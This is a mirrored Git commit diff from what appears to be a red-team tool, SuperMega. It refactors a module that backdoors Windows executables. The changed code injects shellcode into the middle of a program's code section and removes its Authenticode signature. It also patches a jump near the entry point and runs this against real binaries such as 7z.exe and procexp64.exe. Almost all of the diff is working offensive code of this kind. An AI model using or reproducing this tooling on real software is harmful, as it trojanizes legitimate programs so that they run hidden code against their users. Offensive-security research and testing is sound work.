mirror of
https://github.com/dobin/SuperMega
synced 2026-06-03 01:27:11 +00:00
refactor: get code from exe after backdooring
This commit is contained in:
+56
-11
@@ -3,9 +3,13 @@ import shutil
|
|||||||
import pprint
|
import pprint
|
||||||
import logging
|
import logging
|
||||||
import time
|
import time
|
||||||
|
import tempfile
|
||||||
|
|
||||||
from pehelper import *
|
from pehelper import *
|
||||||
from model import *
|
from model import *
|
||||||
|
from observer import observer
|
||||||
|
|
||||||
|
from redbackdoorer import PeBackdoor, Logger, options
|
||||||
|
|
||||||
logger = logging.getLogger("Injector")
|
logger = logging.getLogger("Injector")
|
||||||
|
|
||||||
@@ -14,23 +18,64 @@ def inject_exe(
|
|||||||
shellcode_in: FilePath,
|
shellcode_in: FilePath,
|
||||||
exe_in: FilePath,
|
exe_in: FilePath,
|
||||||
exe_out: FilePath,
|
exe_out: FilePath,
|
||||||
|
inject_mode: int,
|
||||||
):
|
):
|
||||||
logger.info("--[ Injecting: {} into: {} -> {} ".format(
|
logger.info("--[ Injecting: {} into: {} -> {} mode {}".format(
|
||||||
shellcode_in, exe_in, exe_out
|
shellcode_in, exe_in, exe_out, inject_mode
|
||||||
))
|
))
|
||||||
|
|
||||||
|
shellcode_len = len(file_readall_binary(shellcode_in))
|
||||||
|
|
||||||
# create copy of file exe_in to exe_out
|
# create copy of file exe_in to exe_out
|
||||||
shutil.copyfile(exe_in, exe_out)
|
shutil.copyfile(exe_in, exe_out)
|
||||||
|
|
||||||
# inject shellcode into exe_out with redbackdoorer
|
if False:
|
||||||
# python3.exe .\redbackdoorer.py 1,1 main-clean-append.bin .\exes\procexp64-a.exe
|
# python3.exe .\redbackdoorer.py 1,1 main-clean-append.bin .\exes\procexp64-a.exe
|
||||||
run_process_checkret([
|
run_process_checkret([
|
||||||
"python3.exe",
|
"python3.exe",
|
||||||
"redbackdoorer.py",
|
"redbackdoorer.py",
|
||||||
project.inject_mode,
|
project.inject_mode,
|
||||||
shellcode_in,
|
shellcode_in,
|
||||||
exe_out
|
exe_out
|
||||||
])
|
])
|
||||||
|
|
||||||
|
options["verbose"] = True
|
||||||
|
|
||||||
|
# copy it first...
|
||||||
|
temp = tempfile.NamedTemporaryFile(delete=False)
|
||||||
|
shutil.copy(exe_out, temp.name)
|
||||||
|
outfile = temp.name
|
||||||
|
|
||||||
|
peinj = PeBackdoor(options, Logger)
|
||||||
|
result = peinj.backdoor(
|
||||||
|
1, # always overwrite .text section
|
||||||
|
inject_mode,
|
||||||
|
shellcode_in,
|
||||||
|
exe_out,
|
||||||
|
outfile
|
||||||
|
)
|
||||||
|
if not result:
|
||||||
|
logging.error("Error: Redbackdoorer failed")
|
||||||
|
raise Exception("Redbackdoorer failed")
|
||||||
|
|
||||||
|
# and copy back
|
||||||
|
shutil.copy(outfile, exe_out)
|
||||||
|
temp.close()
|
||||||
|
os.unlink(temp.name)
|
||||||
|
|
||||||
|
print("Result: {} and 0x{:x} 0x{:x}".format(
|
||||||
|
result, peinj.shellcodeOffset, peinj.backdoorOffsetRel,
|
||||||
|
))
|
||||||
|
|
||||||
|
code = extract_code_from_exe(exe_out)
|
||||||
|
|
||||||
|
fucking_offset = peinj.backdoorOffsetRel
|
||||||
|
|
||||||
|
in_code = code[peinj.shellcodeOffsetRel:peinj.shellcodeOffsetRel+shellcode_len]
|
||||||
|
jmp_code = code[fucking_offset:fucking_offset+12]
|
||||||
|
|
||||||
|
observer.add_code("backdoored_code", in_code)
|
||||||
|
observer.add_code("backdoored_jmp", jmp_code)
|
||||||
|
|
||||||
|
|
||||||
def injected_fix_iat(exe_out: FilePath, exe_info: ExeInfo):
|
def injected_fix_iat(exe_out: FilePath, exe_info: ExeInfo):
|
||||||
|
|||||||
+1
-1
@@ -17,7 +17,7 @@ class Project():
|
|||||||
|
|
||||||
# Injectable
|
# Injectable
|
||||||
self.inject: bool = False
|
self.inject: bool = False
|
||||||
self.inject_mode: str = "1,2"
|
self.inject_mode: int = 2
|
||||||
self.inject_exe_in: FilePath = ""
|
self.inject_exe_in: FilePath = ""
|
||||||
self.inject_exe_out: FilePath = ""
|
self.inject_exe_out: FilePath = ""
|
||||||
self.exe_info: ExeInfo = None
|
self.exe_info: ExeInfo = None
|
||||||
|
|||||||
+42
-43
@@ -387,6 +387,10 @@ class PeBackdoor:
|
|||||||
self.logger = logger
|
self.logger = logger
|
||||||
self.createdTlsSection = False
|
self.createdTlsSection = False
|
||||||
|
|
||||||
|
self.shellcodeOffset = 0 # from start of the file
|
||||||
|
self.shellcodeOffsetRel = 0 # from start of the code section
|
||||||
|
self.backdoorOffsetRel = 0 # from start of the code section
|
||||||
|
|
||||||
def openFile(self):
|
def openFile(self):
|
||||||
self.pe = pefile.PE(self.infile, fast_load=False)
|
self.pe = pefile.PE(self.infile, fast_load=False)
|
||||||
self.pe.parse_data_directories()
|
self.pe.parse_data_directories()
|
||||||
@@ -412,7 +416,6 @@ class PeBackdoor:
|
|||||||
self.infile = infile
|
self.infile = infile
|
||||||
self.outfile = outfile
|
self.outfile = outfile
|
||||||
self.sectionName = options.get('section_name', DefaultSectionName)
|
self.sectionName = options.get('section_name', DefaultSectionName)
|
||||||
self.shellcodeOffset = 0
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
PeBackdoor.SupportedSaveModes(saveMode)
|
PeBackdoor.SupportedSaveModes(saveMode)
|
||||||
@@ -475,6 +478,15 @@ class PeBackdoor:
|
|||||||
self.logger.ok('PE executable Authenticode signature removed.')
|
self.logger.ok('PE executable Authenticode signature removed.')
|
||||||
return True
|
return True
|
||||||
|
|
||||||
|
|
||||||
|
def _get_code_section(self):
|
||||||
|
entrypoint = self.pe.OPTIONAL_HEADER.AddressOfEntryPoint
|
||||||
|
for sect in self.pe.sections:
|
||||||
|
if sect.Characteristics & pefile.SECTION_CHARACTERISTICS['IMAGE_SCN_MEM_EXECUTE']:
|
||||||
|
if entrypoint >= sect.VirtualAddress and entrypoint <= sect.VirtualAddress + sect.SizeOfRawData:
|
||||||
|
return sect
|
||||||
|
return None
|
||||||
|
|
||||||
def injectShellcode(self):
|
def injectShellcode(self):
|
||||||
if self.saveMode == int(PeBackdoor.SupportedSaveModes.NewPESection):
|
if self.saveMode == int(PeBackdoor.SupportedSaveModes.NewPESection):
|
||||||
self.pe.write(self.outfile)
|
self.pe.write(self.outfile)
|
||||||
@@ -495,61 +507,45 @@ class PeBackdoor:
|
|||||||
|
|
||||||
elif self.saveMode == int(PeBackdoor.SupportedSaveModes.WithinCodeSection):
|
elif self.saveMode == int(PeBackdoor.SupportedSaveModes.WithinCodeSection):
|
||||||
entrypoint = self.pe.OPTIONAL_HEADER.AddressOfEntryPoint
|
entrypoint = self.pe.OPTIONAL_HEADER.AddressOfEntryPoint
|
||||||
section = None
|
sect = self._get_code_section()
|
||||||
|
sect_name = sect.Name.decode().rstrip('\x00')
|
||||||
|
sect_size = sect.Misc_VirtualSize # Better than: SizeOfRawData
|
||||||
|
if sect == None:
|
||||||
|
return False
|
||||||
|
|
||||||
|
self.logger.dbg(f'Backdooring {sect_name} section.')
|
||||||
|
|
||||||
for sect in self.pe.sections:
|
if sect_size < len(self.shellcodeData):
|
||||||
name = sect.Name.decode()
|
self.logger.fatal(f'''Input shellcode is too large to fit into target PE executable code section!
|
||||||
self.logger.dbg("Checking if section is executable: {}: 0x{:x}".format(name, sect.Characteristics))
|
|
||||||
|
|
||||||
# 0x20 = code
|
|
||||||
# 0x20000000 = executable
|
|
||||||
if sect.Characteristics & 0x20000000 != 0:
|
|
||||||
#if sect.Characteristics & 0x20 != 0:
|
|
||||||
# make sure its really the destination section
|
|
||||||
# UPX packed files have UPX0, UPX1, where the latter has the entry point
|
|
||||||
#self.logger.dbg("--> 0x{:x} 0x{:x} 0x{:x}".format(
|
|
||||||
# entrypoint,
|
|
||||||
# sect.VirtualAddress,
|
|
||||||
# sect.VirtualAddress + sect.SizeOfRawData,
|
|
||||||
#))
|
|
||||||
if entrypoint > sect.VirtualAddress and entrypoint < sect.VirtualAddress + sect.SizeOfRawData:
|
|
||||||
section = sect
|
|
||||||
break
|
|
||||||
|
|
||||||
if section != None:
|
|
||||||
self.logger.dbg(f'Backdooring {name} section.')
|
|
||||||
|
|
||||||
if sect.Misc_VirtualSize < len(self.shellcodeData):
|
|
||||||
self.logger.fatal(f'''Input shellcode is too large to fit into target PE executable code section!
|
|
||||||
Shellcode size : {len(self.shellcodeData)}
|
Shellcode size : {len(self.shellcodeData)}
|
||||||
Code section size : {sect.Misc_VirtualSize}
|
Code section size : {sect_size}
|
||||||
''')
|
''')
|
||||||
|
|
||||||
offset = int((sect.Misc_VirtualSize - len(self.shellcodeData)) / 2)
|
offset = int((sect_size - len(self.shellcodeData)) / 2)
|
||||||
self.logger.dbg(f'Inserting shellcode into 0x{offset:x} offset.')
|
self.logger.dbg(f'Inserting shellcode into 0x{offset:x} offset.')
|
||||||
|
|
||||||
self.pe.set_bytes_at_offset(offset, self.shellcodeData)
|
self.pe.set_bytes_at_offset(offset, self.shellcodeData)
|
||||||
self.shellcodeOffset = offset
|
self.shellcodeOffset = offset
|
||||||
|
self.shellcodeOffsetRel = offset - sect.PointerToRawData
|
||||||
rva = self.pe.get_rva_from_offset(offset)
|
|
||||||
|
rva = self.pe.get_rva_from_offset(offset)
|
||||||
|
|
||||||
p = sect.PointerToRawData + sect.SizeOfRawData - 64
|
p = sect.PointerToRawData + sect.SizeOfRawData - 64
|
||||||
graph = textwrap.indent(f'''
|
graph = textwrap.indent(f'''
|
||||||
Beginning of {name}:
|
Beginning of {sect_name}:
|
||||||
{textwrap.indent(hexdump(self.pe.get_data(sect.VirtualAddress), sect.VirtualAddress, 64), "0")}
|
{textwrap.indent(hexdump(self.pe.get_data(sect.VirtualAddress), sect.VirtualAddress, 64), "0")}
|
||||||
|
|
||||||
Injected shellcode in the middle of {name}:
|
Injected shellcode in the middle of {sect_name}:
|
||||||
{hexdump(self.shellcodeData, offset, 64)}
|
{hexdump(self.shellcodeData, offset, 64)}
|
||||||
|
|
||||||
Trailing {name} bytes:
|
Trailing {sect_name} bytes:
|
||||||
{hexdump(self.pe.get_data(self.pe.get_rva_from_offset(p)), p, 64)}
|
{hexdump(self.pe.get_data(self.pe.get_rva_from_offset(p)), p, 64)}
|
||||||
''', '\t')
|
''', '\t')
|
||||||
|
|
||||||
self.logger.ok(f'Shellcode injected into existing code section at RVA 0x{rva:x}')
|
self.logger.ok(f'Shellcode injected into existing code section at RVA 0x{rva:x}')
|
||||||
self.logger.dbg(graph)
|
self.logger.dbg(graph)
|
||||||
return True
|
return True
|
||||||
|
|
||||||
return False
|
|
||||||
|
|
||||||
def setupShellcodeEntryPoint(self):
|
def setupShellcodeEntryPoint(self):
|
||||||
if self.runMode == int(PeBackdoor.SupportedRunModes.ModifyOEP):
|
if self.runMode == int(PeBackdoor.SupportedRunModes.ModifyOEP):
|
||||||
@@ -650,7 +646,6 @@ Sources:
|
|||||||
ep = self.pe.OPTIONAL_HEADER.AddressOfEntryPoint
|
ep = self.pe.OPTIONAL_HEADER.AddressOfEntryPoint
|
||||||
|
|
||||||
ep_ava = ep + self.pe.OPTIONAL_HEADER.ImageBase
|
ep_ava = ep + self.pe.OPTIONAL_HEADER.ImageBase
|
||||||
|
|
||||||
data = self.pe.get_memory_mapped_image()[ep:ep+128]
|
data = self.pe.get_memory_mapped_image()[ep:ep+128]
|
||||||
offset = 0
|
offset = 0
|
||||||
|
|
||||||
@@ -659,6 +654,10 @@ Sources:
|
|||||||
disasmData = self.pe.get_memory_mapped_image()
|
disasmData = self.pe.get_memory_mapped_image()
|
||||||
output = self.disasmBytes(cs, ks, disasmData, ep, 128, self.backdoorInstruction)
|
output = self.disasmBytes(cs, ks, disasmData, ep, 128, self.backdoorInstruction)
|
||||||
|
|
||||||
|
# store offset... by calculating it first FUCK
|
||||||
|
section = self._get_code_section()
|
||||||
|
self.backdoorOffsetRel = output - section.VirtualAddress
|
||||||
|
|
||||||
if output != 0:
|
if output != 0:
|
||||||
self.logger.dbg('Now disasm looks like follows: ')
|
self.logger.dbg('Now disasm looks like follows: ')
|
||||||
|
|
||||||
|
|||||||
+6
-5
@@ -51,17 +51,17 @@ def main():
|
|||||||
|
|
||||||
if args.verify == "peb":
|
if args.verify == "peb":
|
||||||
project.inject = True
|
project.inject = True
|
||||||
project.inject_mode = "1,2"
|
project.inject_mode = 2
|
||||||
project.inject_exe_in = "exes/7z.exe"
|
project.inject_exe_in = "exes/7z.exe"
|
||||||
project.inject_exe_out = "out/7z-verify.exe"
|
project.inject_exe_out = "out/7z-verify.exe"
|
||||||
elif args.verify == "iat":
|
elif args.verify == "iat":
|
||||||
project.inject = True
|
project.inject = True
|
||||||
project.inject_mode = "1,2"
|
project.inject_mode = 2
|
||||||
project.inject_exe_in = "exes/procexp64.exe"
|
project.inject_exe_in = "exes/procexp64.exe"
|
||||||
project.inject_exe_out = "out/procexp64-verify.exe"
|
project.inject_exe_out = "out/procexp64-verify.exe"
|
||||||
elif args.verify == "rwx":
|
elif args.verify == "rwx":
|
||||||
project.inject = True
|
project.inject = True
|
||||||
project.inject_mode = "1,1" # ,2 is broken atm
|
project.inject_mode = 1 # ,2 is broken atm
|
||||||
project.inject_exe_in = "exes/wifiinfoview.exe"
|
project.inject_exe_in = "exes/wifiinfoview.exe"
|
||||||
project.inject_exe_out = "out/wifiinfoview.exe-verify.exe"
|
project.inject_exe_out = "out/wifiinfoview.exe-verify.exe"
|
||||||
else:
|
else:
|
||||||
@@ -81,7 +81,7 @@ def main():
|
|||||||
|
|
||||||
if args.rbrunmode:
|
if args.rbrunmode:
|
||||||
if args.rbrunmode == "1" or args.rbrunmode == "2" or args.rbrunmode == "3":
|
if args.rbrunmode == "1" or args.rbrunmode == "2" or args.rbrunmode == "3":
|
||||||
project.inject_mode = "1," + args.rbrunmode
|
project.inject_mode = int(args.rbrunmode)
|
||||||
else:
|
else:
|
||||||
logging.error("Invalid mode, use one of:")
|
logging.error("Invalid mode, use one of:")
|
||||||
for i in ["1", "2", "3"]:
|
for i in ["1", "2", "3"]:
|
||||||
@@ -215,7 +215,8 @@ def start():
|
|||||||
phases.injector.inject_exe(
|
phases.injector.inject_exe(
|
||||||
shellcode_in = main_shc_file,
|
shellcode_in = main_shc_file,
|
||||||
exe_in = project.inject_exe_in,
|
exe_in = project.inject_exe_in,
|
||||||
exe_out = project.inject_exe_out
|
exe_out = project.inject_exe_out,
|
||||||
|
inject_mode = project.inject_mode,
|
||||||
)
|
)
|
||||||
if project.source_style == SourceStyle.iat_reuse:
|
if project.source_style == SourceStyle.iat_reuse:
|
||||||
phases.injector.injected_fix_iat(project.inject_exe_out, project.exe_info)
|
phases.injector.injected_fix_iat(project.inject_exe_out, project.exe_info)
|
||||||
|
|||||||
Reference in New Issue
Block a user